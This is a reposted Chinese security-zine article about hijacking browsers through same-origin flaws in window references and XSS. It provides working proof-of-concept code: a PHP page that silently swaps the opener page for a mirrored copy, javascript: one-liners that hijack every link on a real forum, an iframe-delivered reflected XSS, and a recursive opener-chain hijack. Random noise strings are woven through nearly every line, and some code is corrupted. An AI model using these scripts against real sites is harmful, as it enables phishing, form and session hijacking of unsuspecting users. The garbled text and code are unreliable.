中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==- K0 ?9 M0 z5 `5 W7 M, Q0 M

7 x, S* a: U! S+ |; E( x+ S                       Issue 0x03, Phile #0x05 of 0x07
0 P  B$ F) j' z: v  [% a
2 P" I: ^* \! ~8 ?9 a- c; V
. ^" C; u3 b! {1 w$ D; f# ||=---------------------------------------------------------------------------=|& U4 w! H. n+ V2 [7 Q+ ]1 w
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|# `3 O$ Q, o# z/ f& m6 g6 x
|=---------------------------------------------------------------------------=|4 H/ ?* z) y1 {3 }: S4 C# ?
|=---------------------------------------------------------------------------=|! B, z" b- D) \" l. y+ u, _! G  m  B
|=------------------------=[      By rayh4c     ]=---------------------------=|
( W, z5 s. i8 b9 Q* I|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
9 [* D8 A1 H8 q" i6 T$ B|=---------------------------------------------------------------------------=|! V. E5 e; d/ T- F! N# K

# [6 v; o  g3 x/ I% e
$ w- S6 r; ?3 K3 b[目录]
+ c; N! |1 e6 Q: x, v9 L3 q) |! P/ T$ X$ r. }3 I5 k; b0 b
1. 前言
* \! L+ u8 }" c) f) U2. 同源策略简叙2 @" B# C9 {7 m3 D- ]
3. 理解window对象的同源策略
% p$ Y+ Z8 i' {0 f* m# E" D9 J4. 窗口引用功能中的同源策略漏洞- {2 f0 s; `$ T# R7 n; _8 r
  4.1 父窗口引用子窗口的同源策略问题
6 m5 z" h, v) f% W% L* R  4.2 子窗口引用父窗口的同源策略问题  h2 I2 D4 S5 ~! l& ?1 J# ~
5. 利用窗口引用漏洞劫持浏览器
& S2 b5 X: Y" C/ m6. 利用XSS漏洞劫持浏览器
6 p- F9 P9 D5 ]" g4 }' U" E  6.1 正向跨窗口劫持
+ {& G7 o, i3 o  6.2 反向跨窗口劫持9 l! v; D4 Y! j$ ]1 }
  6.3 极度危险的跨框架窗口引用劫持# A4 T% }3 b! [$ F
  6.4 极度危险的正反向跨窗口递归劫持
1 L  R. k% E2 J  6.5 完全控制浏览器
  {) {, H; Z; B7. 后记
# j- W) `( F6 _+ @5 K# S8. 参考
6 w  `) `3 M4 ^4 S. ?
& b; k. \; M% t: E0 f& u1 R  j! ?0 d: Y
一、前言
. Y; R; \, B7 u  O
' c% [: G, U) T; x5 N- C    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
% X# h3 @$ @" J9 t3 Q3 U友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
& i  y$ o. x3 y. [0 t劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
2 N: p( t# n! Q5 m" a1 |条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
) [3 H/ x5 q7 G/ _0 M1 W8 L9 Z, R, t2 Q% ]# G- L

: O7 z1 \# |8 O" ]% I3 o二、同源策略简叙
0 `( i3 h! f' b  g% }0 v" j/ P9 {  q8 R! \% |- }
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以3 W# n0 @4 [" C) d- [
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
) N; \' E5 C2 U; w* k曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
; \( w( X2 t. ?% M3 \马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
8 [8 J5 ]& n7 k% G$ G漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
' ^* `- I+ L2 o9 f5 j, K- P! D' L) Y' z. v. G9 W) O8 d9 x

0 s7 d3 S& k& ~0 T/ I三、理解window对象的同源策略
4 c; g; ?: L0 F. E# ]# q% t
7 Y( r+ a% U$ g4 v+ D    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对% `; c- S; g! L4 H) v6 Y, x
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:; h9 J4 U+ x! m& U2 |. q6 o* N2 q: i
# s  f5 L! S- @: n
--code-------------------------------------------------------------------------5 H! M: Z* o/ U6 V/ t2 w2 _+ N
<script language="javascript">* A  h1 i: N' t  P
for(p in window) document.write(p+"<br>");! ^/ X9 I5 ^  P8 i5 M+ _$ f
</script>
2 ]( K. {4 ?8 y-------------------------------------------------------------------------------9 Y& m. x; q! |% z( V

. w/ z6 S" A* {$ Y1 W& s    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方: n7 ~! d6 X/ H9 w# C
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
1 [  A) p6 p6 |: H& U7 a6 ~! y% S3 s这些属性和方法就必须遵循同源策略。
: u+ {. h* ^" ^. j4 {" N, i
* i9 l9 x+ N- R- m2 S    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
3 }6 M# M* Y4 i* o/ v么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须) g5 |6 B; L/ E
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
8 t4 W9 {; W' `个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的: j: L- `) i: M7 z/ ^
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location8 E3 R) G% F; P+ v" N* \
属性并没有被拒绝访问。# v3 C! i6 N" J5 f( p9 M

* B) c& T$ _0 j8 F--demo.html--------------------------------------------------------------------$ K8 G* D: W' v! h' e& t# r7 N8 q
<script language="javascript">   6 Z2 J% u/ s$ F
function allPrpos(obj) {      7 w/ s1 ?8 @+ K
      var props = "<table><tr><td>名称</td><td>值</td>";           - `& m! Y' F: p" t3 c$ _) P  Q" J
      for(var p in obj){         
% u# \! }, a$ N            if(typeof(obj[p])=="function"){   $ H2 y$ K- ]0 I+ |( K2 C9 y; L
                   obj[p]();   
3 E0 w+ c% b( }! C! v' b             }else{                     
5 \) _! X) h' x& I" R2 B. h                  try   
  `! b8 V$ I& U' \                   {   
1 b% Q9 }9 w! F0 I7 q1 H: X                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
( R) _, ?* v7 Q$ R8 d' \2 C1 K                   }   
! V, ?" H; ^% r' e9 i                  catch (ex)   % x9 _9 [: n$ x, I  e0 \/ J* w
                   {   , T9 N1 l6 m) I! U& W. E: C
                  
% S9 y9 s- `& ]% f! n6 {                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
$ m# X$ V  B3 b) h! M# O" S* L                   }   
: q- M6 f# f+ b. A! {0 G+ h$ [                       2 V# Z$ T: r1 j5 L0 b
             }   
' x- h8 G# g  V6 S, G7 w* g       }   
; L6 e+ \1 z, [8 ~* B' ], [   
* c- `4 x( H$ v* s5 G2 K; X5 [       document.write(props+"</table>");   ) q+ u! Q% e. a& A7 @8 Z. p
}   
/ `; z8 X/ u" N, |! \, R2 b7 J   
, O2 ~* d" ~( T5 W4 r0 p2 Vfunction createWin() {
: y' @7 X0 J  |* C( k' R        newWin = window.open ("http://www.google.com");  
3 O9 [3 [9 }# P% B: {' l! b  M        setTimeout(function(){allPrpos(newWin)},2000);
, s; k5 L/ f! b- Q. e  M0 P  S} : l/ L4 F1 E& @: b/ r5 l  F
  \  j7 O/ P5 }0 X6 M1 [
</script>
  _/ r+ J' U" g& S: g* X
+ S: U  A; @  C/ S' l<button onclick='createWin()'>创建一个非同源子窗口测试</button>
( Z7 D, i& {, _8 Y5 n-------------------------------------------------------------------------------) Q/ k, _6 ~6 B6 @. P8 m; b
) C* j; _. }( }% c& n8 x; [3 W- Y; ^

: e2 w. a* |' _( c四、窗口引用功能中的同源策略漏洞
( l8 f( b# z, s1 J- j* y
+ E. s" s1 u8 K+ @$ w" D( ^$ H4.1 父窗口引用子窗口的同源策略问题
, O9 H( ^; f" n, A8 }3 h
+ T9 z6 N# W! _1 v5 W. K9 A, e- Q    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
  C. }. d0 m# n0 A; x% s但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
& P3 s' B/ G: H( V- n: H浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
1 ?, G0 H. F# y! s# Q行测试,会发现父窗口可以控制非同源子窗口location属性值。3 d' ^  _" Y3 B

9 v1 X9 R" W! Y( v--vul1.html--------------------------------------------------------------------
% `% p8 \7 e/ i/ u8 E2 H<script language="javascript">
# J- Y$ u$ ~" t. z! \0 q1 [function createWin() {  
: a2 ]: J% ?5 {        newWin = window.open ("http://www.google.com");  1 k2 d0 y) m$ w5 ^
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); " l* h5 }& P, p7 x. p
} 7 V4 D- F4 T' ~  X  N# a# n
</script>
* t2 @5 r) p! G  C% a; `- j7 {, t# E4 v
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
+ J" Q& g$ h$ ?6 o" A; `8 T3 e-------------------------------------------------------------------------------  n: \+ W0 S8 P; e

* K/ t" V3 Z# M( `6 o6 k3 C2 s8 }1 D2 q6 A4 |6 @
4.2 子窗口引用父窗口的同源策略问题
- v4 U8 n* `( D$ K, E7 F3 P. {7 H
# \' r) Z4 U0 d: u9 S    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使( Q: d; C: |+ o5 _
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
( i1 B1 f$ Y9 F. U1 T: k可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定. R9 A* j5 k- }( K: d& C
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。. ~, ?( O( [0 n% D0 v4 [% I0 ~2 Z

) H: T* v- g# c6 r) I' O--code-------------------------------------------------------------------------
+ @6 c6 ^' Q% N. n' S
) v3 _4 o! h  ljavascript:window.opener.location = "http://www.80sec.com";void(0);
+ A) M! A" W; E$ o& ]( Y2 v0 g  W5 A8 E, i
-------------------------------------------------------------------------------
% E  f0 f4 }6 ^9 {3 U) T
& ?: W/ `2 V) f/ s* Y( V, S8 U( J" a$ l8 P5 j
五、利用窗口引用漏洞劫持浏览器
) ~; K1 `0 [) Y3 z6 f; a& N8 B3 \. Q! Q9 U, ^
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
% R- L- r1 o" m2 b0 t窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
$ |" K1 [0 y* h7 Y么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
& h. n3 o' W, e. `7 e/ w* g9 @8 @* I; Z, C1 G9 s
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产3 T: w, o! D/ r: @# r, A; N
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或1 i: @: u7 ]! L3 o
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接) K; \! }# n! z0 w0 N" }7 Z" U  s: b
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
5 V$ f* S  `& Q- a$ m) y2 O会产生什么可怕的后果。
8 `" r7 f1 S+ A/ x# G
0 Y5 D: j6 b. S  h% S( o3 K- K    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我8 K$ X( Y4 _+ @; U/ F% }, K$ |1 S
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php$ w2 E4 x$ A( ~  z; Z5 @4 x, f
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
/ V" s6 M; h8 I' }候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
; Z  T# ^# `$ e4 a+ E6 I以做更多的事情,所有的一切仅仅是因为点击了一个链接。4 X( d: c3 Y. G8 @' I; z
8 L5 W- @$ G% ?) s2 H! H
--hjk_ref.php------------------------------------------------------------------
' A2 B# {; E/ D3 S4 F. c<?php; t6 O' a6 q% J1 ^, p
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
/ h( E9 k% H( M2 _5 Z$Url_Mirror = $_SERVER["HTTP_REFERER"];8 a( H' t8 ^5 H5 A3 i" f
} - q+ s& e1 S+ P1 l" ]4 x; Q; ]
if(isset ($_GET['ref'])) {, p+ n5 h9 a3 P  }7 C( q
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
9 z$ f- d2 a7 R9 \  O9 p% H$ P}
8 b3 a. k8 U- c0 F+ l$ c7 r3 C$ s?># W, c4 M/ @8 z9 P/ C' D* a

; k3 A2 R( p5 B+ Q& N# d$ c; X<script language="javascript">: G, a: v) s0 x0 n; s" V* o9 |7 y
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         - y' {, L2 {# v( @/ t$ ]
</script>
3 n; ?( S3 u) L( F" e# ^! ~-------------------------------------------------------------------------------$ x: F+ [4 G( C

6 Y/ b& {) m7 i, Z9 _    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
9 q8 Q; r0 D/ h. c$ }% v% y6 }! z" U1 f- D9 M
" Q6 Z- e- V2 @; o+ ~$ Y# O  A0 |
六、利用XSS漏洞劫持浏览器
/ w8 P. P4 C. }( y" ^7 C# J% H- A1 m2 c: G
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为3 ?! v/ c8 ]4 E
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后. b/ s- Q2 I& g0 v
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
4 ]6 a1 A5 F7 \讨论跨站师的终极技巧:4 ~8 z$ s; G. b+ b8 k1 D0 S
9 y$ X/ T) I1 q* R/ q( w& l$ F

' X$ T- @, }! X6.1 正向跨窗口劫持
0 K0 O% h' P! S) c% E# A
; R! M" e4 C( w; a2 u& D    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛/ V: i+ ]1 p. K. j/ _8 e
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链: c# U5 z" N' x  Y: g
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
% x; V0 }; J) k9 q- x框脚本。 7 V, t' V; G( \6 g5 ^# T; D

: d. A8 ?9 I" Q% `& x+ c--hijack_open.js---------------------------------------------------------------
$ ~& q& c5 i2 i' v
/ y# ?* s& Q: D3 Kjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);2 l' o$ f' N2 y
9 C# G2 n( Y( J( t" Z* `3 d3 H0 A
-------------------------------------------------------------------------------
" L! U. J; W  @. X( d
9 ]( A6 V5 D4 S3 Z9 M/ h
' R$ l5 {( v9 n6.2 反向跨窗口劫持5 o! R" V2 M$ ?7 [1 h3 J4 H$ D

& t/ g# @$ |+ `1 A, `+ k    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
: |( w4 T7 T4 _" J" M% P- d% Z码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
) p; r' ?( k0 E$ P$ j. X框脚本。+ h3 C" n! C' Y1 c. m( R. t

; i5 x6 X! L- J2 _--hijack_opener.js-------------------------------------------------------------
% N" G% s9 w; r
6 J6 n4 b9 Z7 W9 K8 |' }* xjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
9 ^6 U4 u4 {4 P- w; _+ b, f) M+ g% K
3 n& ?! w' m& i2 G' |1 M3 P. O-------------------------------------------------------------------------------
: l0 Y; `, U0 {1 w' q3 Z* `' z4 C4 I' D0 p
' Y$ B, S+ A6 U6 a
6.3 极度危险的跨框架窗口引用劫持2 l7 o& C# u. J

- A' ?) O6 }( Q8 k    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
0 K* ~- c- j0 Q0 W. f可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
3 m( |; w6 ]9 S1 W. j6 x适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个( f/ S) Y; }( m" S' ?
非持久型的XSS,如下:* y# p' A2 L5 \! ^( W" n( s4 k$ x

. o5 G$ `8 [' ?. i. Q2 g<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>. o! X0 i7 z% d3 a9 K" m0 M/ w! S

* ?, U, S0 e, H6 @    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口: Y' G# B' P, \$ [
注入脚本。
! b1 C9 G4 K' {0 @* {9 m" ^. v
6 x* |; F1 o& k$ a6 |% a6 d--hijack_frame_opener.js-------------------------------------------------------
9 `. g5 s8 p  q+ q2 L1 Y- `" g<script>7 X% |& n& j  n( y0 `8 e- N
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";% I/ N/ J( r) O% O" ^- E
</script>& I1 [8 M; z3 K3 v! X8 ^0 @
-------------------------------------------------------------------------------& e$ D& D) N1 ^, W* i

( m) V) \; L9 B( H0 O$ ]
% p% d/ o( C* _0 K- B  ^- c8 Z7 h6.4 极度危险的正反向跨窗口递归劫持
9 C' C, ^; H- w! M3 q
5 v/ D8 Y% |4 f( t  U$ z    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window- |: ]  l  g7 T6 ]& p; c
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
  \+ s5 d7 u5 J8 G异常处理规避之间跨域页面的访问异常,代码如下:
3 |9 \  r+ D  j2 V/ P. J3 G# n, G2 z# ~1 s3 M
--code-------------------------------------------------------------------------
; B9 x9 m3 l1 a/ }& B
. i! R* A- E+ s& Yjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);2 Z+ k. I- D3 G4 H4 l/ X2 _/ P2 o

# H& n0 T0 L& a- e: b" _7 g-------------------------------------------------------------------------------
0 W- s3 h3 N! C: T6 @# ]8 D7 n0 o
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
$ ]# J' ]6 j2 a- ]: l: [2 c以劫持B域之前的A域页面,从而实现“隔空打击”。: m( ?$ m% @( n2 V

/ v8 X8 L( d( w: n, h2 i) U    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面4 p. J( `- N( e; L1 j3 V
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。) K6 |, I* E* B! k2 t$ `4 s+ ^0 A

& B9 o6 w1 Z& n  `, ]    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。' s" l4 P: L0 U3 Z

& N4 R; x: I( U( i/ m$ `0 P: Z2 T2 M: P. ~, G( ]% i$ N
6.5 完全控制浏览器8 B6 S) a# |% O4 U/ g
0 J7 W/ R6 ?' ?. O. N1 Y2 n" Q
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
; s, m6 X* L0 _& _6 d2 {- W5 J是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS% T/ p" c  J: F0 h
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失3 P! q: m0 d" G' L7 [: G
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再) J7 A% `# ]2 S& ]% E
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站! c+ `$ K. {: F  Q# f
师的终极目标 - 完全控制浏览器。8 z9 N7 y5 S/ k% F" S* q1 M

( w- G+ I% m+ o- W0 ~0 x6 o$ d7 T: w, Y  a& t$ U1 |
七、后记
. j- g5 F; _9 u6 Y$ I
& M3 {/ n3 e) s9 b* ]1 ~6 J    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全0 |# [3 v" J. C* z
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
  m2 F  o0 L! n; A% C. k; K过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。9 p/ U; c# u/ Y0 T( h9 w

, P/ e; @! |1 V. ?$ Q. l+ e$ g" m3 `: w3 p1 T4 j' h
八、参考$ l2 e5 T* c+ H, R
: j- L4 t4 P' L2 r- Y/ I5 N) O$ {
1. http://en.wikipedia.org/wiki/Same_origin_policy' R0 f0 C1 L6 X2 a
2. http://code.google.com/p/browser ... licy_for_DOM_access+ c% B- w" p9 `9 c- |
3. http://www.w3.org/TR/Window/& }" X4 a9 F! G- J, `+ W
4. http://www.80sec.com/release/browser-hijacking.txt
0 D. m' r& q0 X6 g# r9 [5. http://www.80sec.com/all-browser-security-alert.html$ F! X4 o  e/ s" b
6. http://www.80sec.com/ms08-058-attacks-google.html& D! R, q+ L# \! r2 Y; Q+ d6 {# l" v! ^4 N
0 k. p* R# j, M3 e. G* W
-EOF-




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2